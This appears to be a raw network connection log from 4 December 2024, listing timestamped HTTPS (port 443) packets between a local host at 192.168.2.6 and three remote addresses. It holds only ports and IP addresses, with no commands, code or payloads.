Dec 4, 2024 16:15:41.421920061 CET	49795	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:41.422182083 CET	49795	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:41.422199011 CET	443	49795	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:41.422214031 CET	49795	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:41.422219992 CET	443	49795	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:41.426038980 CET	49804	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:41.426071882 CET	443	49804	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:41.426162958 CET	49804	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:41.426321983 CET	49804	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:41.426328897 CET	443	49804	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:41.567142010 CET	49805	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.567182064 CET	443	49805	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.567260027 CET	49805	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.567527056 CET	49805	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.567542076 CET	443	49805	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.746794939 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.746850014 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.746870041 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.746891022 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.746957064 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.746962070 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.746999025 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.747014999 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.747014999 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.789693117 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.878376007 CET	443	49796	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:41.878806114 CET	443	49797	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:41.879185915 CET	49796	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:41.879209042 CET	443	49796	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:41.880125999 CET	49796	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:41.880131006 CET	443	49796	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:41.880650997 CET	49797	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:41.880676985 CET	443	49797	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:41.881257057 CET	49797	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:41.881262064 CET	443	49797	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:41.965572119 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.965585947 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.965635061 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.965684891 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.965699911 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.965744019 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.024940968 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.024979115 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.025095940 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.025124073 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.025329113 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.046178102 CET	49806	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.046225071 CET	443	49806	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.046324015 CET	49806	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.094970942 CET	49806	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.095005989 CET	443	49806	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.140132904 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.140156031 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.140218973 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.140240908 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.140274048 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.140295029 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.144716024 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.144776106 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.176218987 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.176248074 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.176347971 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.176376104 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.176424980 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.202986956 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.203016996 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.203082085 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.203093052 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.203141928 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.267873049 CET	443	49799	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.268537998 CET	49799	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.268569946 CET	443	49799	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.269063950 CET	49799	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.269068956 CET	443	49799	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.307979107 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.308007956 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.308089018 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.308120012 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.308134079 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.308161974 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.311021090 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.311080933 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.311086893 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.311120033 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.311167955 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.311583996 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.311600924 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.313287020 CET	443	49796	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.313365936 CET	443	49796	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.313410997 CET	49796	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.315354109 CET	49796	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.315367937 CET	443	49796	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.315377951 CET	49796	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.315383911 CET	443	49796	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.315783978 CET	443	49797	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.315850973 CET	443	49797	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.315891981 CET	49797	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.318830013 CET	49797	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.318845987 CET	443	49797	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.318856955 CET	49797	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.318861961 CET	443	49797	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.402662992 CET	49807	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.402713060 CET	443	49807	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.402780056 CET	49807	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.407639980 CET	49808	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.407674074 CET	443	49808	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.407744884 CET	49808	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.408170938 CET	49807	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.408200026 CET	443	49807	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.408401966 CET	49808	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.408416986 CET	443	49808	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.416162014 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.416188002 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.416251898 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.416471004 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.416485071 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.419002056 CET	49810	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.419025898 CET	443	49810	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.419087887 CET	49810	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.419385910 CET	49811	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.419397116 CET	443	49811	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.419454098 CET	49811	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.419594049 CET	49810	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.419603109 CET	443	49810	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.419751883 CET	49811	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.419766903 CET	443	49811	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.429805994 CET	49812	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.429836988 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.429892063 CET	49812	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.430285931 CET	49812	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.430299997 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.511547089 CET	443	49800	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.512909889 CET	49800	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.512940884 CET	443	49800	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.513277054 CET	443	49800	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.516711950 CET	49800	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.516801119 CET	443	49800	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.516906023 CET	49800	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.542774916 CET	443	49798	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.544213057 CET	49798	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.544228077 CET	443	49798	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.545255899 CET	49798	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.545262098 CET	443	49798	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.559344053 CET	443	49800	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.592020988 CET	443	49801	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.593087912 CET	49801	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.593096018 CET	443	49801	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.593489885 CET	443	49801	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.594151974 CET	49801	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.594238043 CET	443	49801	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.594587088 CET	49801	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.635340929 CET	443	49801	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.705249071 CET	443	49799	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.705323935 CET	443	49799	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.705406904 CET	49799	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.752914906 CET	443	49803	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.780858994 CET	49799	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.780898094 CET	443	49799	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.780926943 CET	49799	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.780936003 CET	443	49799	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.783209085 CET	49803	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.783226967 CET	443	49803	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.784492016 CET	443	49803	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.784580946 CET	49803	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.786736965 CET	49803	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.786803961 CET	443	49803	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.787045956 CET	49803	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.787053108 CET	443	49803	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.790714025 CET	49813	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.790754080 CET	443	49813	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.790822029 CET	49813	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.796734095 CET	49813	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.796751022 CET	443	49813	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.827783108 CET	49803	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.970365047 CET	443	49805	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.970658064 CET	49805	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.970683098 CET	443	49805	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.971704960 CET	443	49805	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.971769094 CET	49805	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.972876072 CET	49805	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.972939014 CET	443	49805	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.973340034 CET	49805	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:42.973351002 CET	443	49805	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:42.978678942 CET	443	49798	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.978741884 CET	443	49798	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.978874922 CET	49798	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.984627008 CET	49798	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.984651089 CET	443	49798	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.989101887 CET	49814	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.989142895 CET	443	49814	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:42.989411116 CET	49814	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.989679098 CET	49814	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:42.989695072 CET	443	49814	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:43.013189077 CET	49805	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.166872978 CET	443	49804	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:43.167757034 CET	49804	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:43.167773962 CET	443	49804	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:43.168265104 CET	49804	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:43.168275118 CET	443	49804	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:43.346591949 CET	443	49800	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.346620083 CET	443	49800	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.346745014 CET	443	49800	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.346761942 CET	49800	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.346832037 CET	49800	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.348115921 CET	49800	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.348135948 CET	443	49800	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.435401917 CET	443	49801	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.440325975 CET	443	49801	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.441263914 CET	49801	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.441953897 CET	49801	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.441972017 CET	443	49801	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.451942921 CET	443	49802	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:43.452039957 CET	49802	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:43.454045057 CET	49802	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:43.454067945 CET	443	49802	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:43.454369068 CET	443	49802	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:43.456012011 CET	49802	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:43.456125975 CET	49802	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:43.456135988 CET	443	49802	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:43.456346989 CET	49802	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:43.482858896 CET	443	49806	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.483465910 CET	49806	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.483500957 CET	443	49806	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.483839035 CET	443	49806	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.487529039 CET	49806	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.487616062 CET	443	49806	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.488099098 CET	49806	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.503330946 CET	443	49802	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:43.531342030 CET	443	49806	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.601497889 CET	443	49804	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:43.601598024 CET	443	49804	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:43.601737022 CET	49804	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:43.602287054 CET	49804	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:43.602305889 CET	443	49804	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:43.602315903 CET	49804	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:43.602322102 CET	443	49804	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:43.605483055 CET	49815	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:43.605508089 CET	443	49815	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:43.605587959 CET	49815	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:43.605712891 CET	49815	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:43.605725050 CET	443	49815	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:43.651578903 CET	443	49803	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.655349016 CET	443	49803	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.659241915 CET	49803	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.659528017 CET	49803	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.659538984 CET	443	49803	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.812854052 CET	443	49810	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.813607931 CET	49810	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.813630104 CET	443	49810	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.813837051 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.813991070 CET	443	49810	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.814166069 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.814199924 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.814944029 CET	49810	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.815011024 CET	443	49810	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.815109015 CET	49810	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.815223932 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.815289021 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.816041946 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.816137075 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.816159964 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.816304922 CET	443	49811	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.816603899 CET	49811	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.816618919 CET	443	49811	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.816957951 CET	443	49811	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.817365885 CET	49811	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.817481995 CET	443	49811	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.817616940 CET	49811	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.819664955 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.819880009 CET	49812	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.819899082 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.820921898 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.820976973 CET	49812	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.822103024 CET	49812	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.822164059 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.822319984 CET	49812	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.822328091 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.855335951 CET	443	49810	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.863333941 CET	443	49811	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.863339901 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.867393970 CET	49812	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.867400885 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.867413998 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.898758888 CET	443	49805	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.898899078 CET	443	49805	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.898973942 CET	49805	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.899812937 CET	49805	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:43.899835110 CET	443	49805	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:43.914293051 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:44.119884968 CET	443	49802	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:44.120259047 CET	443	49802	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:44.120426893 CET	49802	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:44.123191118 CET	49802	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:44.123220921 CET	443	49802	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:44.191452980 CET	443	49808	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:44.192142010 CET	49808	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:44.192181110 CET	443	49808	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:44.192621946 CET	49808	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:44.192632914 CET	443	49808	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:44.436331987 CET	443	49806	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:44.436753035 CET	443	49806	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:44.436831951 CET	49806	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:44.456748962 CET	49806	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:44.456789970 CET	443	49806	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:44.626503944 CET	443	49808	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:44.626585007 CET	443	49808	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:44.626673937 CET	49808	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:44.668142080 CET	49808	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:44.668193102 CET	443	49808	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:44.668214083 CET	49808	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:44.668221951 CET	443	49808	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:44.672305107 CET	443	49811	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:44.675304890 CET	443	49811	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:44.675378084 CET	49811	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:44.696831942 CET	49818	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:44.696887016 CET	443	49818	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:44.696974993 CET	49818	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:44.704281092 CET	49818	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:44.704298019 CET	443	49818	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:44.716557980 CET	443	49814	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:44.718589067 CET	49814	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:44.718635082 CET	443	49814	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:44.722223043 CET	49814	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:44.722245932 CET	443	49814	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:44.733319044 CET	49811	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:44.733356953 CET	443	49811	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:44.791482925 CET	443	49810	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:44.831407070 CET	49810	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:44.841327906 CET	443	49810	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:44.841386080 CET	49810	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:44.841418028 CET	443	49810	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:44.841501951 CET	443	49810	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:44.841548920 CET	49810	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:44.972065926 CET	49810	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:44.972095013 CET	443	49810	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.150916100 CET	443	49814	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:45.150981903 CET	443	49814	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:45.151070118 CET	49814	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:45.186940908 CET	49814	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:45.186979055 CET	443	49814	13.107.246.43	192.168.2.6
